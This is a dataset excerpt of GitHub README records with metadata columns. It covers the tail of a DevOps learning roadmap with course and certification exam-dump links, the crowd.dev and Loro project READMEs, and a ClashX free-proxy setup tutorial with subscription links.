FREE](https://youtu.be/oPumWaoNw5s) - [Setup Prometheus & Grafana Monitoring On Kubernetes Using Helm = FREE](https://youtu.be/dk2-_DbWb80) - [Become Expert on Grafana Dashboard - PAID](https://www.udemy.com/course/become-expert-on-grafana-dashboard/) ## DataDog - [Datadog Advance Tutorial for Beginners with Demo FREE](https://youtu.be/0p9JJobuVTg) - [Datadog Fundamental \| Datadog Beginners Tutorial \| Debug.School FREE](https://youtu.be/1hp5ZH4dby8) ## New Relic - [New Relic Advance Tutorial for Beginners with Demo FREE](https://youtu.be/tO-QsbpI-78) - [New Relic Fundamentals Platform Training Part - 1 FREE](https://youtu.be/-rzGZRgliSs) - [New Relic Fundamentals Platform Training Part - 2 FREE](https://youtu.be/RC66UI9G9AI) - [New Relic APM: Application Performance Management for DevOps PAID](https://www.udemy.com/course/new-relic-apm-application-performance-management-for-devops/) ## ELK - [Elasticsearch Tutorial \| ELK Stack Tutorial \| Intellipaat FREE](https://youtu.be/cC4GGJ0JsSE) - [ELK Stack Tutorial For Beginners \| Elastic Stack Tutorial \| DevOps \| Intellipaat FREE](https://youtu.be/29TwUCHILhM) - [Elasticsearch Tutorial for Beginners FREE](https://youtu.be/kjN7mV5POXc) - [Beginner's Crash Course to Elastic Stack - Part 1: Intro to Elasticsearch and Kibana FREE](https://youtu.be/gS_nHTWZEJ8) ## Splunk - [Full Course \| Splunk Core Certified User\| Splunk Fundamentals 1 \| Detailed explanation with examples - FREE](https://www.youtube.com/watch?v=qmzsu-2Kkqw) - [Splunk Admin Tutorials for Beginners \| Linux Commands for Splunk \| Create Google Cloud Storage & VM - FREE](https://youtube.com/playlist?list=PL5nViEmyYI0YX-hm7z5kH7IwFakXtZKZB) - [Splunk Tutorial \| What Is Splunk \| Splunk Tutorial For Beginners \| Splunk Careers \| Intellipaat - FREE](https://youtu.be/ZlKPqjuM0wo) - [Complete Splunk Enterprise Certified Admin Course 2023 - PAID](https://www.udemy.com/course/the-splunk-enterprise-certified-admin-course-2022-with-labs/) ## Window Server (Optional) - [Complete Windows Server Administration Course - PAID](https://www.udemy.com/course/complete-windows-server-2016-administration-course/) - [Windows Server Administration \|\| for Beginners - FREE](https://youtu.be/RoI9RVU_Hu0) - [Active Directory Tutorial for Beginners - Live Training - FREE](https://youtu.be/h0QLtup0CWQ) - [Understanding Active Directory and Group Policy - FREE](https://youtu.be/Q4I2lKHboDw) - [Learn Windows Server 2022 (AD, DNS, GPO) Be a Great Admin! - FREE](https://www.udemy.com/course/server2022/) ## Cloud Security - [Cloud Security Full Course \| Cloud Security Fundamentals \| Cloud Security Training \| Intellipaat FREE](https://youtu.be/Ijkvx1u0w6o) - [Cloud Security Tutorial \| Cloud Security Fundamentals \| What is Cloud Security \| Edureka FREE](https://youtu.be/0lw4KU5wHsk) - [Introduction to Cloud Security FREE](https://youtube.com/playlist?list=PLsfnCRA9QVnSj4gbP5W1W1CXjPRhe1oE2) - [Certified Cloud Security Professional (CCSP) PAID](https://www.udemy.com/course/certified-cloud-security-professional/) - [Certified Cloud Security Officer (CCSO) PAID](https://www.udemy.com/course/certified-cloud-security-officer-ccso/) ## DevSecOps - [DevSecOps Full Course \| DevSecOps Tutorial For Beginners \| DevSecOps Training \| Intellipaat FREE ](https://youtu.be/D7Nhna43ztg) - [Overview of DevSecOps \| What is DevSecOps \| DevSecOps : What, Why and How \| Infosectrain FREE](https://youtu.be/KbmmYOhL4Jg) - [DevSecOps - the What, Why & How FREE](https://youtu.be/G1l56vDDqVk) - [DevSecOps - Kubernetes DevOps & Security with Hands-On Labs PAID](https://www.udemy.com/course/kubernetes-devsecops/) - [DevSecOps : Master Securing CI/CD \| DevOps Pipeline(2023) PAID](https://www.udemy.com/course/devsecops/) - [DevSecOps with Jenkins, Kubernetes, Terraform & AWS PAID](https://www.udemy.com/course/devsecops-with-terraform-kubernetes-jenkins-aws/) - [Ultimate DevSecOps With Real World Scenarios PAID](https://www.udemy.com/course/ultimate-devsecops-with-real-world-scenarios/) ## Free DevOps Training Courses + Certificate 1. [Intellipaat](https://intellipaat.com/academy/course/devops-free-course/) 2. [Alison ](https://alison.com/tag/devops) 3. [My great learning ](https://www.mygreatlearning.com/academy/learn-for-free/courses/introduction-to-devops1) 4. [Udemy ](https://www.udemy.com/course/nodejs-cicd-aws-codepipeline-codebuild-mocha-zero-to-hero/) 5. [Edureka ](https://www.edureka.co/free-course/learn-devops-basics-online) 6. [FreeCodeCamp ](https://www.youtube.com/watch?v=j5Zsa_eOXeY) 7. [Learnvern ](https://www.learnvern.com/devops-course) 8. [Microsoft Certified: DevOps Engineer Expert ](https://learn.microsoft.com/en-us/certifications/devops-engineer/) 9. [DevOps on AWS : ](https://explore.skillbuilder.aws/learn/course/external/view/elearning/2000/getting-started-with-devops-on-aws?lado=tile&tile=dt) 10. [Exam Readiness: AWS Certified DevOps Engineer ](https://explore.skillbuilder.aws/learn/course/external/view/elearning/74/exam-readiness-aws-certified-devops-engineer-professional?lado=tile&tile=dt) ## DevOps Certification Path Way TAP ⏩ [DevOps Certificate](https://devopscube.com/best-devops-certifications/) ![WhatsApp Image 2023-01-14 at 18 12 34](https://user-images.githubusercontent.com/85270361/212485937-b82b9821-bcf8-4366-98a5-e10e166489c1.jpg) ## Bonus - [CompTIA A+ Full Course - FREE - [31+ Hours]](https://youtu.be/1CZXXNKAY5o) - [Harvard CS50 – Full Computer Science University Course](https://youtu.be/8mAITcNt710) ## How to get a Job Fast 1. Resume : While people tend to present an essay as a resume or some template they got online 🙅‍♀ Hiring manager come across hundreds of resumes all the time, they don’t have time to read all the resumes. First look at your resume will determine if they will go through it or not. So your resume pass through different stages before you get your first email. ⭐⭐⭐ Go through this link to understand what your resume stands against. 👇👇👇👇 [WHAT YOUR RESUME IS UP AGAINST](https://medium.com/@AnnFelix/what-your-resume-is-up-against-e6c96c1a88be) Tips for your résumé: ✅✅✅ 1. Tailor your resume to suit the position you are applying for 2. Limit your resume to two pages 3. Proofread your resume numerous times 4. Keep your resume clear and concise 5. Be honest 6. Quantify your achievements 7. Use simple words and action verbs 8. Include unpaid work that show off your skills Resume Don’ts : ❌❌❌❌ 1. Don't include a picture of yourself 2. Don't simply list job responsibilities 3. Don't include references 4. Don't include hobbies or interests 5. Don't use too many bullets 6. Don't include unnecessary personal information 7. Don't use an inappropriate email address 2. LinkedIn: Why having a good LinkedIn profile is so important these days, people don’t tend to take it serious as they should. 💁‍♀ Jobs these days require you submit your LinkedIn profile links . LinkedIn as come to serve as a secret 🤫 background check for many companies. Click on this link, to understand how important your LinkedIn profile is and ways to fix it. 👇👇👇👇 [Your LinkedIn account is just as important as your RESUME](https://medium.com/@AnnFelix/your-linkedin-account-is-just-as-important-as-your-resume-5435145b904f) 3. GitHub Account : Your GitHub might just be one of the place to land you your dream job. ✅ Just imagine going for a devOps or developer role and you don’t have any projects to show off . 🙅‍♀🤦‍♀ GitHub is not just about pushing codes, you can use GitHub to document your projects. ✅✅✅ Documenting your projects on GitHub can be very handy, To show off to your future employer’s and for reference purposes. ✨✨✨🤩🤩 Having many projects on your portfolio will give you an edge over someone without any projects to show off. So make it a duty to document all your projects. ✅✅✅ Four Ace to Landing Your Dream Jobs ``` • Learn The Skills • Work on Real Projects (Build Your Portfolio) • Prep Your Resume and Your LinkedIn • Start Applying • Land your dream Jobs ``` ## SITE FOR RESUME - [Zety](https://zety.com/resume-builder) - [Resumonk](https://www.resumonk.com/) - [visualcv](https://www.visualcv.com/) - [cvmaker](https://www.cvmaker.com/) - [Resumegenius](https://resumegenius.com/) - [Resumebuilder](https://www.resumebuilder.com/) - [Enhancv](https://enhancv.com/) - [Resume.io](https://resume.io/) - [Novoresume](https://novoresume.com/) - [Canva](https://www.canva.com/create/resumes/) - [Adobe](https://www.adobe.com/express/create/resume) ## SITE FOR INTERVIEW PREPARATION - [Ambitionbox](https://www.ambitionbox.com/about-us) - [Acetheinterview](https://www.acetheinterview.com/) - [Gainlo](http://www.gainlo.co/#!/) ## DevOps Projects - [Simple DevOps Project-1 \| Simple DevOps project for CI/CD \| CI/CD through Jenkins - FREEE](https://youtu.be/Z9G5stlXoyg) - [DevOps-Projects FREE](https://youtube.com/playlist?list=PLxzKY3wu0_FJdJd3IKdiM4Om1hGo2Hsdt) - [Simple DevOps Projects - Part 1 \| DevOps Projects for Beginners \| DevOps Training FREE](https://youtu.be/PwSZpcl7vUE) - [Simple DevOps Project \| DevOps Projects for Beginners \| DevOps Project from Scratch FREE](https://youtu.be/cnA6AwUeiHU) - [Simple DevOps Project-2 \| CI/CD pipeline using GIT, Jenkins & Ansible FREE](https://youtu.be/nE4b9mW2ym0) - [Simple DevOps Project-3 \| DevOps project with Git, Jenkins and Docker on AWS \| CICD on containers - FREE](https://youtu.be/nMLQgXf8tZ0) - [Simple DevOps Projects - Part 2 \| DevOps Projects for Beginners \| DevOps Training \| Edureka FREE](https://youtu.be/EXdmo4OoB4Q) - [Simple DevOps Projects - Part 3 \| DevOps Projects for Beginners \| DevOps Training \| Edureka FREE](https://youtu.be/qEKZLZYwO9o) - [Simple DevOps Project-4 - Part-01 \| How To Create a Docker Image Using Jenkins And Ansible FREE](https://youtu.be/MJ74RcL6jv8) - [DevOps Project 2021 - How to Learn DevOps Through a Practical Project FREE](https://youtu.be/oif22pmFMuI) - [Simple DevOps Project - Troubleshooting steps FREE](https://youtu.be/ndo6ezzcT98) - [Simple DevOps Project-4 - Part 03 \| Enable versioning on docker images through jenkins job FREE](https://www.youtube.com/watch?v=vU7K94Pt2yQ) - [Complete DevOps Project \| Github, Docker, Dockerhub, Git, Jenkins, Ansible FREE](https://www.youtube.com/watch?v=gvk9jZz0P6s) - [Simple DevOps Projects - Simple DevOps Projects #1 \|DevOps Jenkins CI/CD project Apache Tomcat maven FREE](https://youtu.be/4TRfvlU7W90) - [sample devops end to end project v1- devops project \| ci/cd declarative pipeline using devops tools FREE](https://youtu.be/nP6uei3TBsc) - [Complete END to END Azure DevOps Tutorials Series with Practical's Full Course in 4 Hours ](https://www.youtube.com/watch?v=7YMWthE6RTY) - [ DevOps Setup for Test, Build and Deploy a Java Project \| DevOps Project to Build, Test and Deploy FREE](https://youtu.be/vQRSRo7Ef7c) - [DevOps Project Part-2 \| Setting up CI-CD Pipeline for an E-Commerce App \| DevOps Training \| Edureka FREE](https://www.youtube.com/watch?v=3ixEo13ZdsU) - [AWS Projects for beginners \| Deploying End to End Website on AWS FREE](https://youtu.be/7Gym2XVcA5A) - [AWS CodePipeline tutorial \| Build a CI/CD Pipeline on AWS FREE](https://youtu.be/NwzJCSPSPZs) - [DevOps Project \| Creating CI CD Pipeline Using Jenkins \| Intellipaat FREE](https://youtu.be/7lazzvm1ljo) - [Mega Real-time End to End DevOps CI/CD Project \| Git \| Jenkins \| Nexus \| SonarQube \| HandsOn Lab - I](https://youtu.be/Yk7k3yEguQA) - [CICD pipeline for Java application to deploy on kubernetes cluster using Jenkins \| Devops Project FREE](https://youtu.be/adG0vq5boL8) - [Setup EKS Cluster using eksctl and Deploy Springboot Microservices into EKS using Jenkins Pipeline FREE](https://youtu.be/C1BlN66s9yo) ## AWS Certification Roadmap ![Available-AWS-Certifications-graphic@2x-1](https://user-images.githubusercontent.com/85270361/213398206-e4998714-0aae-40d7-a6d0-eaa34c85bd04.png) ## List of all Amazon Exams ### EXAM-TOPICS DUMP 1. [ANS-C00: AWS Certified Advanced Networking - Specialty](https://www.examtopics.com/exams/amazon/ans-c00/view/) 2. [AWS Certified Alexa Skill Builder - Specialty: AWS Certified Alexa Skill Builder - Specialty](https://www.examtopics.com/exams/amazon/aws-certified-alexa-skill-builder-specialty/view/) 3. [AWS Certified Big Data - Specialty: exam](https://www.examtopics.com/exams/amazon/aws-certified-big-data-specialty/view/) 4. [AWS Certified Cloud Practitioner: AWS Certified Cloud Practitioner (CLF-C01) ](https://www.examtopics.com/exams/amazon/aws-certified-cloud-practitioner/view/) 5. [AWS Certified Data Analytics - Specialty: AWS Certified Data Analytics - Specialty (DAS-C01)](https://www.examtopics.com/exams/amazon/aws-certified-data-analytics-specialty/view/) 6. [AWS Certified Database - Specialty: AWS Certified Database - Specialty ](https://www.examtopics.com/exams/amazon/aws-certified-database-specialty/view/) 7. [AWS Certified Developer Associate: AWS Certified Developer Associate ](https://www.examtopics.com/exams/amazon/aws-certified-developer-associate/view/) 8. [AWS Certified Machine Learning - Specialty: AWS Certified Machine Learning - Specialty (MLS-C01)](https://www.examtopics.com/exams/amazon/aws-certified-machine-learning-specialty/view/) 9. [AWS Certified SAP on AWS - Specialty PAS-C01: AWS Certified SAP on AWS - Specialty PAS-C01](https://www.examtopics.com/exams/amazon/aws-certified-sap-on-aws-specialty-pas-c01/view/) 10. [AWS Certified Security - Specialty: AWS Certified Security - Specialty ](https://www.examtopics.com/exams/amazon/aws-certified-security-specialty/view/) 11. [AWS Certified Solutions Architect - Associate SAA-C02: AWS Certified Solutions Architect - Associate SAA-C02](https://www.examtopics.com/exams/amazon/aws-certified-solutions-architect-associate-saa-c02/view/) 12. [AWS Certified Solutions Architect - Associate SAA-C03: AWS Certified Solutions Architect - Associate SAA-C03](https://www.examtopics.com/exams/amazon/aws-certified-solutions-architect-associate-saa-c03/view/) 13. [AWS Certified Solutions Architect - Professional: AWS Certified Solutions Architect - Professional](https://www.examtopics.com/exams/amazon/aws-certified-solutions-architect-professional/view/) 14. [AWS Certified Solutions Architect - Professional SAP-C02: AWS Certified Solutions Architect - Professional SAP-C02](https://www.examtopics.com/exams/amazon/aws-certified-solutions-architect-professional-sap-c02/view/) 15. [AWS Certified SysOps Administrator - Associate: AWS Certified SysOps Administrator - Associate (SOA-C02) ](https://www.examtopics.com/exams/amazon/aws-certified-sysops-administrator-associate/view/) 16. [AWS DevOps Engineer Professional: AWS DevOps Engineer - Professional (DOP-C01) ](https://www.examtopics.com/exams/amazon/aws-devops-engineer-professional/) 17. [AWS-SysOps: AWS Certified SysOps Administrator](https://www.examtopics.com/exams/amazon/aws-sysops/view/) ### ALISON DUMP 1. [CLF-C01:AWS Certified Cloud Practitioner](https://www.exam-answer.com/amazon/clf-c01/question1) 2. [SAA-C03:AWS Certified Solutions Architect - Associate](https://www.exam-answer.com/amazon/saa-c03/question1) 3. [SAP-C01:AWS Certified Solutions Architect - Professional](https://www.exam-answer.com/amazon/sap-c01/question1) 4. [SOA-C02:AWS Certified SysOps Administrator - Associate](https://www.exam-answer.com/amazon/soa-c02/question1) 5. [DVA-C01:AWS Certified Developer - Associate](https://www.exam-answer.com/amazon/dva-c01/question1) 6. [DOP-C01:AWS Certified DevOps Engineer - Professional](https://www.exam-answer.com/amazon/dop-c01/question1) 7. [DBS-C01:AWS Certified Database - Specialty](https://www.exam-answer.com/amazon/dbs-c01/question1) 8. [BDS-C00:AWS Certified Big Data - Specialty](https://www.exam-answer.com/amazon/bds-c00/question1) 9. [ANS-C01:AWS Certified Advanced Networking - Specialty](https://www.exam-answer.com/amazon/ans-c01/question1) 10. [SCS-C01:AWS Certified Security - Specialty](https://www.exam-answer.com/amazon/scs-c01/question1) 11. [MLS-C01:AWS Certified Machine Learning - Specialty](https://www.exam-answer.com/amazon/mls-c01/question1)	null	null	0	46	0	28	0	1	0
CrowdDotDev/crowd.dev	<!-- PROJECT LOGO --> <p align="center"> <a href="https://github.com/CrowdDotDev/crowd.dev"> </a> <img src="https://github.com/CrowdDotDev/crowd.dev/assets/41432658/e5970c3a-095c-46ea-b93b-eb517bcd8a4f" alt="crowd.dev icon" width="120px"> <h2 align="center">Effortlessly centralize community, product, and customer data</h2> <p align="center"> <br> <a href="https://crowd.dev/sign-up">🌐 Cloud version (beta)</a> · <a href="https://docs.crowd.dev">📖 Docs</a> · <a href="https://crowd.dev/discord">❤️ Discord</a> · <a href="https://crowd.dev/newsletter-sign-up">📣 Newsletter</a> · <a href="https://crowd.dev/roadmap">🗺️ Roadmap</a> </p> </p> <br> <!-- BODY --> <img src="https://github.com/CrowdDotDev/crowd.dev/assets/22342669/845fc5b0-aba7-40fe-950e-85ef567cec65" alt="UI Home screen"> ## Table of Contents - [About crowd.dev](#about-crowddev) - [Features](#features) - [Getting started](#getting-started) - [Roadmap](#roadmap) - [Stay up-to-date](#stay-up-to-date) - [Contribution](#contribution) - [License](#license) - [Security](#security) - [Book a call](#book-a-call) ## About crowd.dev crowd.dev is the Developer Data Platform (DDP) that allows companies to centralize all touch points developers have with their product and brand, whether in the community (e.g., Stack Overflow or Reddit), product (open-source or SaaS), or commercial channels (e.g., HubSpot).The platform pulls data from various sources, normalizes it, matches identities across platforms, and enriches it with third-party data. The result is a unified 360-degree view of the developers who engage with your product and community, the companies they work for, and their position in their personal customer journey. crowd.dev is open-source, built with developers in mind, available for both hosted and self-hosted deployments, open to extensions, and offers full control over your data. To our users: - You can get actively involved, contribute to our roadmap, and turn crowd.dev into the tool you've always wanted. - We are open about what we are building, allowing you to take a look inside, and ensuring that we handle your data in a privacy-preserving way. - Our interests as a company are aligned with yours, and we need to ensure that we always deliver enough value to you with our commercial offering in relation to our pricing. To our developer community: - You can self-host crowd.dev to centralize data for your community or company while keeping full control over your data. - Our product is built for extensibility. If you can think of any use cases that you want to build with the data we collect and store for you, please go ahead and build them! We will be here to help out if you need us. - You can actively contribute to crowd.dev (e.g. integrations), and we will be supporting you along the journey. Just take a look at our [Contributing guide](https://github.com/CrowdDotDev/crowd.dev/blob/main/CONTRIBUTING.md). ## Features - Plug & play integrations to tie all relevant platforms - like GitHub, Discord, Slack, or LinkedIn - together. ([all integrations](https://www.crowd.dev/integrations)) - Identity resolution & automated segmentation to effortlessly understand activities and profiles across platforms. - Opinionated analytics & reports on topics like product-market-fit and open-source community activity to further inform your GTM strategy. - Workflows automation with webhooks. - 2-way CRM sync & Slack alerts to get notified about intent events in real-time. [cloud only] - User enrichment with 25+ attributes, including emails, social profiles, work experience, and technical skills. [cloud only] - Organization enrichment with 50+ attributes, including industry, headcount, and revenue. [cloud only] - Sentiment analysis and conversation detection to stay on top of what's going on in your open-source community. [cloud only] - [Eagle Eye](https://www.crowd.dev/eagle-eye): Monitor dev-focused community platforms to find relevant content to engage with, helping you to gain developers’ mindshare and grow your community organically [cloud only] ## Getting started ### Cloud version Our <a href="https://app.crowd.dev/">cloud version</a> is a fast, easy, and free way to get started with crowd.dev. ### Self-hosted version To get started with self-hosting, take a look at our [self-hosting docs](./technical-docs/development-and-deployment.md). #### Integrations We currently support all our integrations for self-hosting. For each one of them, you will need to create your own application. ### Development environment #### <a name="requirements">Requirements</a> - [Node](https://nodejs.org/en) v16.16.0 - [Docker](https://docs.docker.com/get-docker/) and [docker-compose](https://docs.docker.com/compose/install/) #### <a name="getting_started">Getting started</a> 1. Get the mono repo from GitHub ```shell git clone git@github.com:CrowdDotDev/crowd.dev.git ``` 2. Run the start script ```shell cd scripts ./cli start ``` For hot reloading, you can run ```shell cd scripts ./cli clean-start-dev ``` This app will be available at http://localhost:8081 For more information on development, you can <a href="https://docs.crowd.dev/docs/docker-compose-single-machine-development-with-docker-images">check our docs</a>. ## Roadmap You can find more features on our [public roadmap](https://crowd.dev/roadmap). Feel free to also [open an issue](https://crowd.dev/open-an-issue) for anything you're missing. ## Stay up-to-date crowd.dev is still in beta and we ship new features every week. To stay in the loop, leave us a star and subscribe to our <a href="https://crowd.dev/newsletter-sign-up">monthly newsletter</a>. Thanks a lot! ❤️ ## Contribution There are many ways you can contribute to crowd.dev! Here are a few options: - Star this repo - Create issues every time you feel something is missing or goes wrong - Upvote issues with 👍 reaction so we know what's the demand for a particular issue to prioritize it within the roadmap If you would like to contribute to the development of the project, please refer to our [Contributing guide](https://github.com/CrowdDotDev/crowd.dev/blob/main/CONTRIBUTING.md). All contributions are highly appreciated. 🙏 ## License Distributed under the Apache 2.0 License. See `LICENSE` for more information. Our self-hosted version can be run and deployed by default under the permissive Apache 2.0 license. All premium components will be hidden and inactive with the default configuration. You can run, deploy, and contribute to the app without fearing a violation of the premium license. Check out the [premium self-hosted features docs](https://docs.crowd.dev/docs/premium-self-hosted-apps) to know more about the premium self-hosted features. ## Security We take security very seriously. If you come across any security vulnerabilities, please disclose them by sending an email to security@crowd.dev. We appreciate your help in making our platform as secure as possible and are committed to working with you to resolve any issues quickly and efficiently. ## Book a call Schedule a call with a crowd.dev team member to learn more about our product and ensure you get the most out of it. <a href="https://cal.com/team/CrowdDotDev/intro-to-crowd-dev/"><img alt="Book us with Cal.com" src="https://cal.com/book-with-cal-dark.svg" /></a>	⚡️ The developer data platform to centralize community, product, and customer data	community-led-growth,devrel,developer-advocacy,community,developer-marketing,developer-relations,developer-led-growth,cdp,customer-data-platform,analytics	51	46	2,043	2,214	137	181	49
loro-dev/loro	<p align="center"> <a href="https://loro.dev"> <picture> <img src="./docs/Loro.svg" width="200"/> </picture> </a> </p> <h1 align="center"> <a href="https://loro.dev" alt="loro-site">Loro</a> </h1> <p align="center"> <b>Reimagine state management with CRDTs 🦜</b><br/> Make your app state synchronized and collaborative effortlessly. </p> <p align="center"> <a href="https://trendshift.io/repositories/4964" target="_blank"><img src="https://trendshift.io/api/badge/repositories/4964" alt="loro-dev%2Floro \| Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a> </p> <p align="center"> <a href="https://loro.dev/docs"> <b>Documentation</b> </a> \| <a href="https://loro.dev/docs/tutorial/get_started"> <b>Getting Started</b> </a> \| <a href="https://docs.rs/loro"> <b>Rust Doc</b> </a> </p> <p align="center"> <a aria-label="X" href="https://x.com/loro_dev" target="_blank"> <img alt="" src="https://img.shields.io/badge/Twitter-black?style=for-the-badge&logo=Twitter"> </a> <a aria-label="Discord-Link" href="https://discord.gg/tUsBSVfqzf" target="_blank"> <img alt="" src="https://img.shields.io/badge/Discord-black?style=for-the-badge&logo=discord"> </a> </p> https://github.com/loro-dev/loro/assets/18425020/fe246c47-a120-44b3-91d4-1e7232a5b4ac > ⚠️ Notice: The current API and encoding schema of Loro are experimental and subject to change. You should not use it in production. Loro is a [CRDTs(Conflict-free Replicated Data Types)](https://crdt.tech/) library that makes building [local-first apps][local-first] easier. It is currently available for JavaScript (via WASM) and Rust developers. Explore our vision in our blog: [✨ Reimagine State Management with CRDTs](https://loro.dev/blog/loro-now-open-source). # Features Basic Features Provided by CRDTs - P2P Synchronization - Automatic Merging - Local Availability - Scalability - Delta Updates Supported CRDT Algorithms - 📝 Text Editing with [Fugue] - 📙 [Peritext-like Rich Text CRDT](https://loro.dev/blog/loro-richtext) - 🌲 [Moveable Tree](https://loro.dev/docs/tutorial/tree) - 🚗 [Moveable List](https://loro.dev/docs/tutorial/list) - 🗺️ [Last-Write-Wins Map](https://loro.dev/docs/tutorial/map) - 🔄 [Replayable Event Graph](https://loro.dev/docs/advanced/replayable_event_graph) Advanced Features in Loro - 📖 Preserve Editing History in a [Replayable Event Graph](https://loro.dev/docs/advanced/replayable_event_graph) - ⏱️ Fast [Time Travel](https://loro.dev/docs/tutorial/time_travel) Through History https://github.com/loro-dev/loro/assets/18425020/ec2d20a3-3d8c-4483-a601-b200243c9792 # Example [![Open in StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/edit/loro-basic-test?file=test%2Floro-sync.test.ts) ```ts import { expect, test } from 'vitest'; import { Loro, LoroList } from 'loro-crdt'; /** * Demonstrates synchronization of two documents with two rounds of exchanges. */ // Initialize document A const docA = new Loro(); const listA: LoroList = docA.getList('list'); listA.insert(0, 'A'); listA.insert(1, 'B'); listA.insert(2, 'C'); // Export the state of document A as a byte array const bytes: Uint8Array = docA.exportFrom(); // Simulate sending `bytes` across the network to another peer, B const docB = new Loro(); // Peer B imports the updates from A docB.import(bytes); // Verify that B's state matches A's state expect(docB.toJSON()).toStrictEqual({ list: ['A', 'B', 'C'], }); // Get the current operation log version of document B const version = docB.oplogVersion(); // Simulate editing at B: delete item 'B' const listB: LoroList = docB.getList('list'); listB.delete(1, 1); // Export the updates from B since the last synchronization point const bytesB: Uint8Array = docB.exportFrom(version); // Simulate sending `bytesB` back across the network to A // A imports the updates from B docA.import(bytesB); // Verify that the list at A now matches the list at B after merging expect(docA.toJSON()).toStrictEqual({ list: ['A', 'C'], }); ``` # Credits Loro draws inspiration from the innovative work of the following projects and individuals: - [Ink & Switch](https://inkandswitch.com/): The principles of Local-first Software have greatly influenced this project. The [Peritext](https://www.inkandswitch.com/peritext/) project has also shaped our approach to rich text CRDTs. - [Diamond-types](https://github.com/josephg/diamond-types): The [Replayable Event Graph (REG)](https://loro.dev/docs/advanced/replayable_event_graph) algorithm from @josephg has been adapted to reduce the computation and space usage of CRDTs. - [Automerge](https://github.com/automerge/automerge): Their use of columnar encoding for CRDTs has informed our strategies for efficient data encoding. - [Yjs](https://github.com/yjs/yjs): We have incorporated a similar algorithm for effectively merging collaborative editing operations, thanks to their pioneering works. - [Matthew Weidner](https://mattweidner.com/): His work on the [Fugue](https://arxiv.org/abs/2305.00583) algorithm has been invaluable, enhancing our text editing capabilities. - [Martin Kleppmann](https://martin.kleppmann.com/): His work on CRDTs has significantly influenced our comprehension of the field. [local-first]: https://www.inkandswitch.com/local-first/ [Fugue]: https://arxiv.org/abs/2305.00583 [Peritext]: https://www.inkandswitch.com/peritext/	Reimagine state management with CRDTs. Make your app collaborative effortlessly.	crdt,local-first,offline-first,p2p,rich-text,collaborative-editing,privacy-first	28	11	297	1,338	15	13	2
WilliamStar007/ClashX-V2Ray-TopFreeProxy	<h1 align="center"> <img src="https://i.postimg.cc/nLxMfDg8/clash.png" alt="Clash" width="200"> <br> ClashX Setup Tutorial <br> </h1> <!-- newly added! --> <!-- ![Vistors](https://visitor-badge.laobi.icu/badge?page_id=WilliamStar007.ClashX-V2Ray-TopFreeProxy) --> <!-- ![LICENSE](https://img.shields.io/badge/license-MIT-green.svg) --> Tutorial for setting up a [ClashX](https://github.com/yichengchen/clashX) proxy with free subscription links. Feel free to submit an [Issue](https://github.com/WilliamStar007/ClashX-TopFreeProxy/issues) or make a [Pull Request](https://github.com/WilliamStar007/ClashX-TopFreeProxy/pulls)! For V2Ray users, see [V2Ray Setup Tutorial](https://github.com/WilliamStar007/ClashX-TopFreeProxy/blob/main/v2ray.md). For a tutorial in Chinese, see [中文版教程](https://github.com/WilliamStar007/ClashX-TopFreeProxy/blob/main/clash%E4%B8%AD%E6%96%87%E7%89%88.md). The original Clash repo has been deleted. # Table of Contents * [Installation](#installation) * [Subscription Links](#subscription-links) * [Setup](#setup) * [Credits](#credits) * [Disclaimer](#disclaimer) ## Installation Clash · Salute Dreamacro. * Download Clash for Windows from [CFW Page](https://www.clashforwindows.net/clash-for-windows-download) page. * Download ClashX from [WannaFlix](https://wannaflix.com/dl.php?type=d&id=8) page. * Download ClashX Pro with enhanced mode and native Apple Silicon support at [糖糖のWIKI](https://help.mints7.cc/mac-shi-yong-jiao-cheng/mac-clashx-pro-shi-yong-jiao-cheng). ## Subscription Links <!-- Modify the date (if any) in the links to the current date!! --> * NodeFree: https://nodefree.org/dy/2024/06/20240623.yaml ★ * Mfuu: https://raw.githubusercontent.com/mfuu/v2ray/master/clash.yaml * Anaer: https://raw.githubusercontent.com/anaer/Sub/main/clash.yaml ★ * Ermaozi: https://raw.githubusercontent.com/ermaozi/get_subscribe/main/subscribe/clash.yml ★ * Learnhard-cn: https://cdn.jsdelivr.net/gh/vxiaov/free_proxies@main/clash/clash.provider.yaml * OpenRunner: https://freenode.openrunner.net/uploads/20240617-clash.yaml ★ * Xrayfree: https://tt.vg/freeclash Free Node Pool * Zu1k: https://github.com/zu1k/proxypool/releases ★ ## Setup <!-- For a detailed guide, see: https://lancellc.gitbook.io/clash --> 1. Open ClashX 2. Click ClashX icon in the status bar 3. Click Config and then Remote Config 4. Click Manage and then Add 5. Paste a [Subscription Link](#subscription-links) to the url field 6. OK!! (manually select a node if necessary) https://user-images.githubusercontent.com/89805831/179545223-69177f8e-5f2d-4bd3-ba27-b68018418e5a.mp4 ## Credits * NodeFree (https://nodefree.org) * Mfuu (https://github.com/mfuu/v2ray) * Anaer (https://github.com/anaer/Sub) * Ermaozi (https://github.com/ermaozi/get_subscribe) * Learnhard-cn (https://github.com/vxiaov/free_proxies) * OpenRunner (https://github.com/openRunner/clash-freenode) * Xrayfree (https://github.com/xrayfree/free-ssr-ss-v2ray-vpn-clash) * Zu1k (https://github.com/zu1k/proxypool) <!-- Archived Reference: https://github.com/gooooooooooooogle/Clash-Config https://proxies.bihai.cf https://fq.lonxin.net https://github.com/kxswa/k https://github.com/NiceVPN123/NiceVPN https://github.com/pojiezhiyuanjun/2023 https://github.com/vveg26/getProxy https://clashnode.com https://github.com/oslook/clash-freenode https://github.com/tbbatbb/Proxy https://lancellc.gitbook.io/clash --> ## Disclaimer * This project is meant for personal and educational uses only. * Please follow relevant laws and regulations when using this project. * Project owner is not responsible or liable in any manner for the use of the content. <!-- [![Star History Chart](https://api.star-history.com/svg?repos=WilliamStar007/ClashX-TopFreeProxy&type=Date)](https://star-history.com/#WilliamStar007/ClashX-TopFreeProxy&Date) -->	Top free VPN (ClashX & V2Ray proxy) with subscription links. [免费VPN、免费梯子、免费科学上网、免费订阅链接、免费节点、精选、ClashX & V2Ray 教程]	clash,clashx,clash-for-windows,free-node,proxy,proxy-pool,tutorial,free-proxy,free-vpn,vpn	0	2	1	27	0	1	3
